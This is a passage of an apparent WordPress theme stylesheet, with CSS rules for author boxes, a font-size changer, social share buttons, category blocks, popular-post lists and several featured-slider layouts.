	width: 22px;
	height: auto;
	margin: 0
}
.author-url .author-a-name,
.grid-post-box-meta .author-a-name {
	font-weight: inherit;
	margin-left: 5px
}
#penci-header-bookmark a:hover {
	color: var(--pcaccent-cl)
}
.penci-font-changer {
	font-weight: 700;
	position: relative
}
.penci-fchanger-pcontent {
	background: var(--pcbg-cl);
	border: 1px solid var(--pcborder-cl);
	border-radius: 2px;
	padding: 10px;
	position: relative;
	box-shadow: 0 10px 15px -3px rgba(0, 0, 0, .1), 0 10px 15px -3px rgba(0, 0, 0, .1)
}
.penci-fcpopup-ct-wrapper {
	position: absolute;
	top: 100%;
	width: 160px;
	transform: translateX(-50%);
	left: 50%;
	display: none;
	z-index: 99999;
	padding: 10px 0 0
}
.penci-fchanger-pcontent:after {
	content: "";
	position: absolute;
	border-style: solid;
	border-width: 0 5px 5px 5px;
	border-color: transparent transparent var(--pcbg-cl) transparent;
	top: -5px;
	left: 50%;
	right: 50%;
	margin-left: -2.5px;
	z-index: 5
}
.penci-fchanger-pcontent:before {
	content: "";
	position: absolute;
	border-style: solid;
	border-width: 0 7px 7px 7px;
	border-color: transparent transparent var(--pcborder-cl) transparent;
	top: -7px;
	left: 50%;
	right: 50%;
	margin-left: -4px;
	z-index: 4
}
.penci-fchanger-pcontent .penci-font-changer-reset {
	color: var(--pctext-cl);
	font-size: 12px;
	font-weight: 400;
	display: block;
	margin: 5px 0 0;
	cursor: pointer
}
.standard-post-special_wrapper .penci-fchanger-pcontent:after {
	content: "";
	position: absolute;
	border-style: solid;
	border-width: 5px 5px 0 5px;
	border-color: #fff transparent transparent transparent;
	top: auto;
	bottom: -5px;
	left: 50%;
	right: 50%;
	margin-left: -2.5px
}
.standard-post-special_wrapper .penci-fchanger-pcontent:before {
	content: "";
	position: absolute;
	border-style: solid;
	border-width: 7px 7px 0 7px;
	border-color: transparent transparent var(--pcborder-cl) transparent;
	top: auto;
	bottom: -7px;
	left: 50%;
	right: 50%;
	margin-left: -4px;
	z-index: 4
}
.penci-font-changer-popup.active .penci-fcpopup-ct-wrapper {
	display: block
}
.standard-post-special_wrapper .penci-fcpopup-ct-wrapper {
	top: auto;
	bottom: 100%;
	padding: 0 0 10px
}
.penci-font-changer-popup {
	position: relative;
	display: inline-block;
	text-align: center
}
.header-standard .post-box-meta-single .penci-font-changer span {
	cursor: pointer;
	color: inherit;
	margin: 0 5px;
	display: inline-block;
	opacity: .7;
	transition: all .3s ease-in-out;
	outline: 0
}
.header-standard .post-box-meta-single .penci-font-changer span:focus {
	opacity: 1
}
.header-standard .post-box-meta-single .penci-font-changer span:hover {
	color: var(--pcaccent-cl)
}
.header-standard .post-box-meta-single .penci-font-changer .pcf-changer-smaller {
	font-size: 12px
}
.header-standard .post-box-meta-single .penci-font-changer .pcf-changer-larer {
	font-size: 16px
}
.penci-header-wrap {
	position: relative;
	z-index: 999
}
.penci-header-wrap .pcscrollbar {
	position: absolute;
	bottom: -1px;
	left: 0;
	right: 0;
	height: 5px;
	background-color: var(--pcaccent-cl);
	z-index: 999;
	width: 0;
	opacity: 0;
	visibility: hidden;
	transition: opacity .3s, visibility .3s
}
.penci-header-wrap .pcscrollbar.active {
	opacity: 1;
	visibility: visible
}
.penci-header-wrap .pcscrollbar span {
	display: none
}
.slider-container {
	display: inline-block;
	vertical-align: middle;
	position: relative;
	top: 0
}
.slider-container .back-bar {
	height: 10px;
	position: relative
}
.slider-container .back-bar .selected-bar {
	position: absolute;
	height: 100%
}
.slider-container .back-bar .pointer {
	position: absolute;
	width: 10px;
	height: 10px;
	background-color: var(--pcmeta-cl);
	cursor: col-resize;
	opacity: 1;
	z-index: 2
}
.slider-container .back-bar .pointer.last-active {
	z-index: 3
}
.slider-container .back-bar .pointer-label {
	position: absolute;
	top: -17px;
	font-size: 10px;
	white-space: nowrap;
	line-height: 1
}
.penci-single-style-10 .slider-container .back-bar .pointer-label,
.penci-single-style-13 .slider-container .back-bar .pointer-label,
.standard-post-special_wrapper .slider-container .back-bar .pointer-label {
	color: #fff
}
.slider-container .back-bar .focused {
	z-index: 10
}
.slider-container .clickable-dummy {
	cursor: pointer;
	position: absolute;
	width: 100%;
	height: 100%;
	z-index: 1
}
.slider-container .scale {
	top: 2px;
	position: relative
}
.slider-container .scale span {
	position: absolute;
	height: 5px;
	border-left: 1px solid #999;
	font-size: 0
}
.slider-container .scale ins {
	font-size: 9px;
	text-decoration: none;
	position: absolute;
	left: 0;
	top: 5px;
	color: #999;
	line-height: 1
}
.slider-container.slider-readonly .clickable-dummy,
.slider-container.slider-readonly .pointer {
	cursor: auto
}
.penci-fs-slider .back-bar {
	height: 5px;
	border-radius: 2px;
	background-color: #eee
}
.pcdark-mode.pcdm-enable .penci-fs-slider .back-bar {
	background-color: #333
}
.penci-fs-slider .back-bar .selected-bar {
	background-color: var(--pcaccent-cl)
}
.penci-fs-slider .back-bar .pointer {
	width: 14px;
	height: 14px;
	top: -5px;
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	box-sizing: border-box;
	border-radius: 10px;
	background-color: var(--pcaccent-cl)
}
.penci-fs-slider .back-bar .pointer-label,
.penci-fs-slider .scale ins {
	color: var(--pctext-cl)
}
.penci-fs-slider .back-bar .focused {
	color: var(--pcheading-cl)
}
.penci-fs-slider .scale span {
	border-left: 1px solid var(--pcborder-cl)
}
.post-author.abio-style-5 {
	padding: 30px;
	margin-top: 30px;
	border: 1px solid var(--pcborder-cl);
	border-bottom: none !important
}
.post-author.abio-style-5 .bio-social {
	margin: 30px -35px -30px;
	padding: 20px 30px;
	border-top: 1px solid var(--pcborder-cl);
	clear: both
}
body.archive.author .post-author.abio-style-5 {
	border-bottom: 1px solid var(--pcborder-cl) !important;
}
.post-author.abio-style-5 .author-content:after {
	content: "";
	display: table;
	clear: both
}
.post-author.abio-style-5 .bio-social>a {
	margin-left: 5px;
	margin-right: 5px;
	color: var(--pctext-cl)
}
.post-author.abio-style-5 .bio-social>a:hover {
	color: var(--pcaccent-cl)
}
.author-top-tabs {
	clear: both;
	margin: -30px -40px 30px;
	padding: 0;
	border-bottom: 1px solid var(--pcborder-cl)
}
.author-top-tabs ul {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	justify-content: space-between
}
.author-top-tabs ul li {
	width: 50%
}
.author-top-tabs ul li a {
	display: block;
	padding: 20px 10px;
	text-align: center;
	position: relative;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei)
}
.author-top-tabs ul li:first-child {
	border-right: 1px solid var(--pcborder-cl)
}
.author-top-tabs ul li a:before {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	height: 5px;
	background: 0 0;
	content: "";
	z-index: 9
}
.author-top-tabs ul li a.active:before {
	background: var(--pcaccent-cl)
}
.post-related-author {
	border: 0;
	padding: 0
}
.author-tab-content {
	display: none
}
.author-tab-content.active {
	display: block
}
.author-tab-content .penci-ilrelated-posts {
	margin: 0;
	padding: 0;
	border: 0
}
@media only screen and (max-width:767px) {
	.post-author.abio-style-5 .author-img {
		max-width: 70px;
		display: block;
		margin-left: auto;
		margin-right: auto;
		float: none
	}
	.post-author.abio-style-5 .author-content {
		text-align: center;
		margin: 15px auto 0
	}
	.post-author.abio-style-5 .bio-social {
		text-align: center
	}
}
.pccsi-img,
.pccsi-svg {
	vertical-align: middle !important;
	line-height: 100%;
	display: inline-flex !important;
	align-items: center;
	justify-content: center
}
.elementor .pccsi-img img,
.pccsi-img img {
	max-width: 17px;
	height: auto
}
.pccsi-svg svg path {
	transition: all .3s
}
.elementor .pccsi-svg svg,
.pccsi-svg svg {
	width: 12px;
	height: auto
}
.header-social a:hover svg path,
.main-nav-social a:hover svg path {
	fill: var(--pcaccent-cl)
}
.pcsoccl-brandtext i.pccsi-svg svg path,
.penci-social-textcolored a i.pccsi-svg svg path {
	fill: var(--pcci, var(--pcaccent-cl))
}
#header .inner-header-social .penci-faicon.penciicon-x-twitter,
.footer-socials .penci-faicon.penciicon-line,
.footer-socials .penci-faicon.penciicon-viber,
.footer-socials .penci-faicon.penciicon-x-twitter,
.header-style-header-1 .main-nav-social .penci-faicon.penciicon-x-twitter,
.pcnew-share.penci-icon-full .post-share-item .penci-faicon.penciicon-x-twitter,
.pcsoc-icon.pcsoci-twitter .penci-faicon.penciicon-x-twitter,
.penci-builder-element .penci-faicon.penciicon-x-twitter,
.penci-social-colored .penci-faicon.penciicon-line,
.penci-social-colored .penci-faicon.penciicon-viber,
.penci-social-colored .penci-faicon.penciicon-x-twitter,
.penci-social-square .penci-faicon.penciicon-line,
.penci-social-square .penci-faicon.penciicon-viber,
.penci-social-square .penci-faicon.penciicon-x-twitter,
.penci-team_member_socails .penci-faicon.penciicon-x-twitter,
.show-txt.focus-icon .post-share-item .penci-faicon.penciicon-x-twitter,
.single-product-share .new-ver-share .penci-faicon.penciicon-line,
.single-product-share .new-ver-share .penci-faicon.penciicon-viber,
.single-product-share .new-ver-share .penci-faicon.penciicon-x-twitter {
	transform: translateY(0)
}
.single-post-share.tags-share-box-s1 .penci-faicon.penciicon-line,
.single-post-share.tags-share-box-s1 .penci-faicon.penciicon-viber,
.single-post-share.tags-share-box-s1 .penci-faicon.penciicon-x-twitter {
	transform: translateY(2px)
}
body:not(.penci-disable-desc-collapse) .penci-category-description {
	position: relative;
	max-height: 120px;
	overflow: hidden
}
body:not(.penci-disable-desc-collapse) .penci-category-description.active {
	max-height: 99999px
}
.penci-category-description .penci-category-description-button {
	position: absolute;
	bottom: 0;
	left: 0;
	right: 0
}
.penci-category-description-button:before {
	content: "";
	position: absolute;
	inset-inline: 0;
	bottom: 0;
	z-index: 10;
	height: 80px;
	background: linear-gradient(to bottom, transparent 0, currentColor 40px);
	color: var(--pcbg-cl);
	z-index: 1
}
.penci-category-description.active .penci-category-description-button:before {
	display: none
}
.penci-category-description-button a {
	color: var(--pcheading-cl);
	display: inline-block;
	position: relative;
	z-index: 2;
	font-weight: 700;
	font-family: var(--pchead-font);
	font-size: 15px;
	line-height: 30px
}
.penci-category-description.active .penci-category-description-inner {
	padding-bottom: 30px
}
.penci-slick-featured-area.elsl-style-39 .penci-active-bg {
	opacity: 1 !important
}
.penci-slick-featured-area.elsl-style-39 .item {
	position: relative;
	padding: 120px
}
@media only screen and (max-width:767px) {
	.penci-slick-featured-area.elsl-style-39 .item {
		padding: 5px
	}
}
.penci-slick-featured-area.elsl-style-39 .item-inner-content {
	position: relative;
	z-index: 99;
	overflow: hidden
}
.penci-slick-featured-area.elsl-style-39 .penci-featured-content:before {
	content: "";
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	background: rgba(0, 0, 0, .3);
	position: absolute;
	z-index: 11
}
.penci-slick-featured-area.elsl-style-39 .item-inner-content .penci-slider39-suboverlay {
	position: absolute;
	top: 0;
	right: 0;
	bottom: 0;
	width: 100%
}
.penci-slick-featured-area.elsl-style-39 .penci-featured-content .feat-text {
	z-index: 11
}
.penci-slick-featured-area.elsl-style-39 .penci-featured-content {
	left: 0;
	right: 0;
	width: auto;
	position: relative;
	top: 0;
	bottom: 0
}
.penci-slick-featured-area.elsl-style-39 .penci-slider39-overlay {
	position: absolute;
	top: 0;
	left: 0;
	bottom: 0;
	right: 0
}
.penci-slick-featured-area.elsl-style-39 .penci-slider39-overlay:before {
	position: absolute;
	top: 0;
	left: 0;
	bottom: 0;
	right: 0;
	content: "";
	background: rgba(55, 55, 55, .8);
	z-index: 2
}
.penci-slider39-thumb {
	max-width: 550px;
	transform: translateY(-40px);
	margin: 0 auto
}
.penci-slider39-thumb .slick-thumb-item {
	padding: 0 10px;
	cursor: pointer
}
.featured-area .slick-slider .slick-arrow {
	width: 30px;
	height: 30px;
	text-align: center;
	line-height: 30px;
	border-radius: 50%;
	padding: 0;
	background: #fff;
	color: var(--pcheading-cl)
}
.featured-area .slick-slider .slick-arrow:before {
	font-size: 12px
}
.featured-area .slick-slider .slick-arrow.slick-next {
	right: 0;
	left: auto
}
.featured-area .slick-slider:hover .slick-arrow.slick-next {
	right: 15px;
	left: auto
}
@keyframes selectionSharerPopover-animation {
	from {
		opacity: 0
	}
	to {
		opacity: 1
	}
}
.penci-sharect {
	padding: 10px 6px;
	line-height: 0;
	transition: all .2s ease-in-out 0s;
	box-shadow: rgba(0, 0, 0, .15) 0 2px 15px 1px;
	position: absolute;
	border-radius: 3px
}
.penci-sharect .pcshare-item {
	display: inline-block;
	margin: 7px;
	cursor: pointer;
	transition: all .2s ease-in-out 0s
}
.penci-sharect i {
	color: #fff;
	font-size: 18px
}
.penci-sharect>div>div {
	vertical-align: top;
	margin: 0 10px !important
}
.penci-sharect-arrow {
	position: absolute;
	border-left: 7px solid transparent;
	border-right: 7px solid transparent;
	border-top: 7px solid #fff;
	bottom: -6px;
	left: 50%;
	right: 50%;
	transform: translateX(-50%);
	width: 0;
	height: 0
}
.entry-content ::selection {
	background-color: var(--pcheading-cl);
	color: #fff
}
.penci-social-fixed-share.post-share {
	position: fixed;
	left: 20px;
	top: 50%;
	transform: translateY(-50%);
	z-index: 99;
	width: 40px;
	white-space: break-spaces;
	display: none;
	margin-bottom: 0
}
.penci-social-fixed-share.post-share .post-share-item {
	font-size: 18px
}
.penci-social-fixed-share.post-share.pos-right {
	left: auto;
	right: 20px
}
.penci-social-fixed-share.share-style-1 .post-share-item {
	margin: 0 !important
}
.penci-single-block.inview .penci-social-fixed-share.post-share {
	opacity: 1;
	display: block
}
.penci-social-fixed-share.post-share .post-share-item:last-child {
	margin-bottom: 0 !important
}
.penci-social-fixed-share.share-style-2 .post-share-item,
.penci-social-fixed-share.share-style-3 .post-share-item {
	border-radius: 50%
}
.penci-social-fixed-share.share-style-3 .post-share-item {
	background: var(--pcbg-cl);
	border: 1px solid var(--pcborder-cl);
	box-shadow: 1px 1px 1px 0 rgba(55, 55, 55, .1);
	transition: .3s all ease-in-out;
	line-height: 38px
}
.penci-social-fixed-share.share-style-3 .post-share-item:hover {
	background: #f1f1f1
}
.widget .categories-block ul li {
	padding: 0;
	margin: 0;
	overflow: hidden
}
.categories-block .category-title {
	font-weight: 700;
	white-space: nowrap
}
.categories-block .category-count {
	border-radius: 100%;
	background-color: var(--pcaccent-cl);
	color: #fff;
	min-width: 34px;
	text-align: center;
	height: 34px;
	line-height: 34px;
	font-size: 12px;
	display: inline-block
}
.categories-block.categories-block-vertical li {
	text-align: center;
	-webkit-align-items: center;
	-ms-flex-align: center;
	align-items: center
}
.categories-block.categories-block-vertical li a {
	-webkit-flex-direction: column;
	-ms-flex-direction: column;
	flex-direction: column;
	min-width: 210px;
	width: 100%
}
.categories-block.categories-block-horizontal a {
	gap: 10px
}
.categories-block.categories-block-horizontal .category-title {
	-webkit-flex-grow: 2;
	-ms-flex-positive: 2;
	flex-grow: 2
}
.categories-block ul {
	--gap: 10px;
	--col: 3;
	display: -webkit-flex;
	display: -ms-flexbox;
	display: flex;
	gap: var(--gap);
	-webkit-justify-content: center;
	-ms-flex-pack: center;
	justify-content: center
}
.categories-block.cols-2 ul {
	--col: 2;
}
.categories-block.cols-4 ul {
	--col: 4;
}
.categories-block.cols-5 ul {
	--col: 5;
}
.categories-block ul.categories-layout-scroll {
	overflow: auto;
	-webkit-justify-content: flex-start;
	-ms-flex-pack: start;
	justify-content: flex-start;
	padding-bottom: 30px
}
.categories-block ul.categories-layout-scroll li {
	min-width: 210px;
	text-align: center
}
.categories-block ul.categories-layout-scroll li a {
	min-width: 210px
}
.categories-block ul.categories-layout-wrap {
	-webkit-flex-wrap: wrap;
	-ms-flex-wrap: wrap;
	flex-wrap: wrap;
	-webkit-justify-content: flex-start;
	-ms-flex-pack: start;
	justify-content: flex-start
}
.categories-block ul.categories-layout-wrap.categories-wrap-1 li {
	-webkit-flex-basis: 60%;
	-ms-flex-preferred-size: 60%;
	flex-basis: 60%;
	background-color: rgba(0, 0, 0, .1);
	border: 0
}
.categories-block ul.categories-layout-wrap.categories-wrap-2 li {
	-webkit-flex-basis: 45%;
	-ms-flex-preferred-size: 45%;
	flex-basis: 45%
}
.categories-block ul.categories-layout-wrap.categories-wrap-3 li {
	-webkit-flex-basis: 30%;
	-ms-flex-preferred-size: 30%;
	flex-basis: 30%
}
.categories-block li {
	background: rgba(0, 0, 0, .02);
	transition: .15s;
	display: -webkit-flex;
	display: -ms-flexbox;
	display: flex;
	position: relative;
	-webkit-flex-grow: 1;
	-ms-flex-positive: 1;
	flex-grow: 1;
	border-radius: 5px
}
.categories-block li.has-bg {
	background-size: cover;
	background-repeat: no-repeat;
	background-position: center
}
.categories-block li.has-bg:after {
	content: "";
	position: absolute;
	display: block;
	left: 0;
	right: 0;
	bottom: 0;
	height: 100%;
	transition: opacity .2s;
	-webkit-backface-visibility: hidden;
	backface-visibility: hidden;
	background-color: rgba(0, 0, 0, .6);
	border-radius: 5px
}
.categories-block li.has-bg:hover:after {
	opacity: .7
}
.categories-block li.has-bg .category-title {
	color: #fff;
	font-size: 16px
}
.categories-block li.has-bg .category-desc {
	color: #fff;
	text-align: center;
	font-size: 12px;
}
.categories-block li a {
	padding: 10px 20px;
	display: -webkit-flex;
	display: -ms-flexbox;
	display: flex;
	-webkit-align-items: center;
	-ms-flex-align: center;
	align-items: center;
	-webkit-flex-grow: 1;
	-ms-flex-positive: 1;
	flex-grow: 1;
	z-index: 1;
	gap: 5px
}
.categories-block li a:hover {
	text-decoration: none !important
}
.categories-block .penci-image-holder {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	transition: transform 1s, filter 2s ease-in-out;
	transform: scale(1.2)
}
.categories-block li:hover .penci-image-holder {
	transform: scale(1)
}
ul.pc-advanced-cat li {
	position: relative
}
ul.pc-advanced-cat li .indicator {
	position: absolute;
	top: 0;
	right: 0;
	font-size: 14px;
	cursor: pointer
}
ul.pc-advanced-cat.toggle-enable li .category-item-count {
	margin-right: 30px
}
.pc-cat-archive {
	margin-bottom: 60px
}
.pc-cat-archive ul {
	flex-wrap: wrap;
	justify-content: flex-start
}
.pc-cat-archive li {
	-webkit-flex-basis: calc((100% - (var(--gap) * (var(--col) - 1))) / var(--col));
	-ms-flex-preferred-size: calc((100% - (var(--gap) * (var(--col) - 1))) / var(--col));
	flex-basis: calc((100% - (var(--gap) * (var(--col) - 1))) / var(--col));
}
.pc-cat-archive li a {
	justify-content: center;
	flex-direction: column;
	min-width: 150px;
	width: 100%;
	position: relative;
	z-index: 3;
	padding: 20px 10px
}
.pc-cat-archive .category-count {
	background: var(--pcbg-cl);
	color: var(--pcheading-cl);
	font-size: 14px;
	box-shadow: 1px 1px 3px rgba(0, 0, 0, .6)
}
.popularpost_list,
.widget .popularpost_list {
	padding-left: 0
}
.popularpost_item {
	display: block;
	position: relative;
	margin-bottom: 20px;
	padding-left: 60px
}
.popularpost_list.columns-format {
	display: flex;
	flex-wrap: wrap;
	margin-bottom: 0
}
.popularpost_list.columns-format .popularpost_item {
	flex: 0 0 auto;
	width: calc(100% / 3);
	padding-right: 15px
}
.popularpost_list.columns-format.col-2 .popularpost_item {
	width: 50%
}
.popularpost_list.columns-format.col-4 .popularpost_item {
	width: 25%
}
.popularpost_list.columns-format.col-5 .popularpost_item {
	width: 20%
}
@media only screen and (max-width:960px) {
	.popularpost_list.columns-format.t-col-1 .popularpost_item {
		width: 100%;
		padding-right: 0
	}
	.popularpost_list.columns-format .popularpost_item,
	.popularpost_list.columns-format.t-col-2 .popularpost_item {
		width: 50%
	}
	.popularpost_list.columns-format.t-col-3 .popularpost_item {
		width: calc(100% / 3)
	}
}
@media only screen and (max-width:479px) {
	.popularpost_list.columns-format .popularpost_item,
	.popularpost_list.columns-format.m-col-1 .popularpost_item {
		width: 100%;
		padding-right: 0
	}
	.popularpost_list.columns-format.m-col-2 .popularpost_item {
		width: 50%
	}
}
.widget ul.popularpost_list.columns-format>li.popularpost_item:last-child {
	border-bottom: 1px solid var(--pcborder-cl);
	margin-bottom: 11px;
	padding-bottom: 12px
}
.popularpost_item .pcpopular_new_post_title {
	font-size: 14px;
	margin: 0 0 5px
}
.popularpost_item .pcpopular_new_post_title a {
	color: var(--pcheading-cl);
	font-size: inherit
}
.popularpost_item .pcpopular_new_post_title a:hover {
	text-decoration: none;
	color: var(--pcaccent-cl)
}
.popularpost_item .pcpopular_new_post_title a:before {
	content: attr(data-num);
	position: absolute;
	font-size: 18px;
	text-align: center;
	top: 0;
	left: 0;
	width: 24px;
	height: 24px;
	line-height: 24px;
	font-style: italic;
	background: #e6e6e6;
	padding: 10px;
	border-radius: 100%;
	box-sizing: content-box;
	-webkit-transition: all .3s;
	-o-transition: all .3s;
	transition: all .3s;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei)
}
.popularpost_item:hover .pcpopular_new_post_title a:before {
	background: var(--pcaccent-cl);
	color: #fff
}
.popularpost_item.first {
	padding-left: 0;
	padding-bottom: 15px;
	border-bottom: 3px solid var(--pcborder-cl)
}
.popularpost_item.first .pcpopular_new_post_title a::before {
	transform: scale(1.15)
}
.popularpost_list.columns-format .popularpost_item.first .pcpopular_new_post_title a::before {
	transform: none
}
.popularpost_item.first .pcpopular_new_post_title {
	font-size: 18px;
	font-weight: 700;
	margin: 15px auto 15px;
	line-height: 1.25;
	position: relative
}
.popularpost_item.first .pcpopular_new_post_title,
.popularpost_item.first .popularpost_meta {
	padding-left: 60px
}
.popularpost_meta {
	font-size: 13px;
	color: var(--pcmeta-cl)
}
.widget ul li .popularpost_meta a {
	font-size: inherit
}
.post-related .swiper-slide,
.swiper-multi-items .swiper-slide {
	transition-timing-function: cubic-bezier(.76, .09, .215, 1)
}
.slider-41-wrapper {
	display: flex;
	flex-direction: column;
	min-height: 310px
}
.slider-41-wrapper ul {
	margin-bottom: 0 !important
}
.slider-41-swiper {
	position: relative;
	flex-grow: 1;
	padding: 0;
	display: flex;
	margin-top: -1px;
	overflow: hidden
}
.slider-41-wrapper+.section,
.slider-41-wrapper+.section-wrap {
	z-index: 4
}
.slider-41-wrapper .actueel-header {
	flex-grow: 1;
	padding: 0;
	display: flex
}
.slider-41-item {
	padding-top: 120px;
	padding-bottom: 160px;
	display: flex;
	align-items: center;
	position: relative;
	flex-grow: 1
}
.slider-41-wrapper .container {
	width: calc(var(--pcctain) - 120px)
}
.slider-41-item .thumbnail {
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: calc(100% + 5px);
	border-radius: 5px;
	background: #000
}
.slider-41-item .thumbnail .dark-overlay {
	background: rgba(0, 0, 0, .5)
}
.slider-41-item .row .flex-col:nth-child(1) {
	display: flex;
	flex-direction: column;
	gap: 2em
}
.slider-41-item .small-title {
	color: #fff
}
.slider-41-item h3 {
	overflow: hidden;
	text-overflow: ellipsis;
	display: -webkit-box;
	-webkit-box-orient: vertical;
	-webkit-line-clamp: 2;
	line-clamp: 2;
	min-height: calc(2em * 1.15);
	color: #fff;
	font-size: 28px;
	font-weight: bolder
}
.slider-41-item h3 a {
	color: inherit;
	font-weight: inherit
}
.slider-41-item .row .flex-col:nth-child(1) .tags {
	padding-top: .3em
}
.slider-41-item .tags .single-tag {
	color: #fff
}
.slider-41-item .tags .single-tag.light-medium {
	background: #fff
}
.slider-41-item .row .flex-col:nth-child(2) {
	display: flex;
	flex-direction: column;
	gap: 2.5em
}
.slider-41-item .author-box {
	background: rgba(0, 0, 0, .75);
	padding: 15px;
	border-radius: 15px;
	max-width: 190px
}
.slider-41-item .author-box h4 {
	color: #fff
}
.slider-41-swiper .swiper-pagination {
	position: absolute
}
.slider-41-swiper .fixed-items {
	position: absolute;
	top: 0;
	left: 0;
	height: 100%;
	width: 100%;
	padding-top: 120px;
	padding-bottom: 120px
}
.slider-41-swiper .fixed-items .container {
	display: flex;
	justify-content: flex-end;
	flex-direction: column;
	height: 100%;
	position: relative
}
.slider-41-swiper .fixed-items .flex-col:nth-child(2) {
	display: flex;
	justify-content: flex-end
}
.slider-41-swiper .fixed-items .btn {
	z-index: 1;
	transform: translateY(120px)
}
.slider-41-swiper .readmore {
	background: #000;
	color: #fff;
	border-radius: 50px;
	padding: 0 15px;
	line-height: 35px;
	font-size: 13px;
	display: inline-block
}
.slider-41-swiper .featured-cat a {
	color: #fff
}
@media screen and (max-width:1024px) {
	.slider-41-item .row .flex-col:nth-child(2) {
		display: none
	}
	.slider-41-item .row .flex-col:nth-child(1) {
		gap: 1.5em
	}
	.slider-41-item h1 {
		-webkit-line-clamp: 3;
		line-clamp: 3;
		min-height: calc(3em * 1.15)
	}
	.slider-41-wrapper {
		min-height: 550px
	}
	.slider-41-item {
		padding-top: 120px;
		padding-bottom: 180px
	}
}
.featured-style-41 .swiper-container {
	display: flex;
	flex-wrap: wrap;
	flex-direction: column;
	position: relative;
	flex-grow: 1;
	width: 100%
}
.featured-style-41 .swiper-wrapper {
	flex-grow: 1;
	position: relative;
	width: 100%;
	-webkit-transform-style: preserve-3d;
	transition-timing-function: cubic-bezier(.5, 0, .1, 1);
	-webkit-backface-visibility: hidden;
	-webkit-transform: translateZ(0)
}
.featured-style-41 .swiper-slide {
	position: relative;
	-webkit-backface-visibility: hidden;
	-webkit-transform: translateZ(0)
}
.featured-style-41 .swiper-container .swiper-pagination {
	position: relative;
	width: 100%;
	display: flex;
	bottom: unset;
	left: unset;
	gap: .5em
}
.featured-style-41 .swiper-container .swiper-pagination-bullet {
	height: 1em;
	position: relative;
	border-radius: 0;
	margin: unset;
	width: 100%;
	background-color: transparent;
	display: flex;
	opacity: 1;
	flex-direction: column;
	justify-content: center
}
.featured-style-41 .swiper-container .swiper-pagination-bullet::before {
	content: "";
	width: 100%;
	height: 1px;
	background-color: rgba(255, 255, 255, .7);
	opacity: .4;
	position: absolute
}
.featured-style-41 .swiper-container .progress {
	height: 2px;
	position: absolute;
	width: 100%;
	background-color: rgba(255, 255, 255, 1);
	transform: scaleX(0);
	transform-origin: left top;
	opacity: 0;
	transition: opacity .3s ease-in-out
}
.featured-style-41 .swiper-container .swiper-pagination-bullet-active .progress {
	opacity: 1
}
.slider-41-item .overlay {
	position: absolute;
	top: 0;
	left: 0;
	height: 100%;
	width: 100%
}
.slider-41-item img.overlay,
.slider-41-item video.overlay {
	object-fit: cover
}
.slider-41-item .penci-fslider-fmeta .featured-slider-excerpt {
	margin-top: 30px
}
.slider-41-item .readmore-btn {
	padding-bottom: 60px
}
.featured-style-41 .row {
	display: flex;
	flex-wrap: wrap;
	position: relative
}
.featured-style-41 .row.split.split-30-70,
.featured-style-41 .row.split.split-70-30 {
	justify-content: space-between
}
.featured-style-41 .row.split.split-30-70 .flex-col:nth-child(2),
.featured-style-41 .row.split.split-70-30 .flex-col:nth-child(1) {
	width: calc(70% - (60px * .5))
}
.featured-style-41 .row.split.split-30-70 .flex-col:nth-child(1),
.featured-style-41 .row.split.split-70-30 .flex-col:nth-child(2) {
	width: calc(30% - (60px * .5))
}
@media only screen and (max-width:1024px) {
	.featured-style-41 .row.split.split-30-70 .flex-col:nth-child(1),
	.featured-style-41 .row.split.split-30-70 .flex-col:nth-child(2),
	.featured-style-41 .row.split.split-70-30 .flex-col:nth-child(1),
	.featured-style-41 .row.split.split-70-30 .flex-col:nth-child(2) {
		width: calc(100vw - 60px);
		padding-left: 30px;
		padding-right: 30px
	}
}
.slider-40-wrapper {
	text-align: center;
	background-size: cover;
	margin-bottom: 0;
	height: 840px;
	position: relative;
	overflow: hidden
}
.featured-style-40 .nav-slider {
	margin: 0;
	position: absolute;
	left: -60px;
	right: -60px;
	z-index: 1
}
@media (max-width:1020px) and (min-width:767px) {
	.slider-40-wrapper {
		height: 720px
	}
}
@media (max-width:767px) {
	.slider-40-wrapper {
		height: 480px
	}
}
.slider-40-wrapper .container-bg-slider-40 {
	position: absolute;
	left: 0;
	top: 0;
	right: 0;
	bottom: 0;
	z-index: 5
}
.slider-40-wrapper .container-bg-slider-40 .item-bg-slider-40 {
	position: absolute;
	left: 0;
	top: 0;
	right: 0;
	bottom: 0;
	overflow: hidden
}
.slider-40-wrapper .container-bg-slider-40 .item-bg-slider-40:first-child {
	z-index: 4
}
.slider-40-wrapper .container-bg-slider-40 .item-bg-slider-40 .item-bg-slider-40-content {
	position: absolute;
	z-index: 2;
	left: 0;
	top: 0;
	right: 0;
	bottom: 0
}
.slider-40-wrapper .list-slider-creative {
	position: relative;
	width: 1000px;
	height: 565px
}
@media (max-width:1020px) {
	.slider-40-wrapper .list-slider-creative {
		width: 700px;
		height: 400px;
		margin-left: auto;
		margin-right: auto
	}
}
@media (max-width:767px) {
	.slider-40-wrapper .list-slider-creative {
		width: 100%;
		height: 300px
	}
}
.slider-40-wrapper .list-slider-creative .item-slider-creative {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 2;
	overflow: hidden
}
.slider-40-wrapper .list-slider-creative .item-slider-creative:first-child {
	z-index: 3
}
.slider-40-wrapper .list-slider-creative .item-slider-creative .img-container {
	background-size: cover;
	background-repeat: no-repeat;
	background-position: center center
}
.slider-40-wrapper .list-slider-creative .item-slider-creative .img-container:before {
	content: "";
	z-index: 1;
	position: absolute;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
	margin: auto;
	background-color: rgba(0, 0, 0, .6);
	transition: opacity .3s ease-in-out
}
.slider-40-wrapper .list-slider-creative .item-slider-creative .content-item-creative {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0
}
.slider-40-wrapper .container-slider-40 {
	width: 1000px;
	margin: 80px auto 0;
	position: relative;
	z-index: 10
}
@media (max-width:1020px) and (min-width:767px) {
	.slider-40-wrapper .container-slider-40 {
		width: 100%
	}
}
@media (max-width:767px) {
	.slider-40-wrapper .container-slider-40 {
		width: 100%
	}
}
.slider-40-wrapper .header-creative {
	position: relative
}
.slider-40-wrapper .see-all {
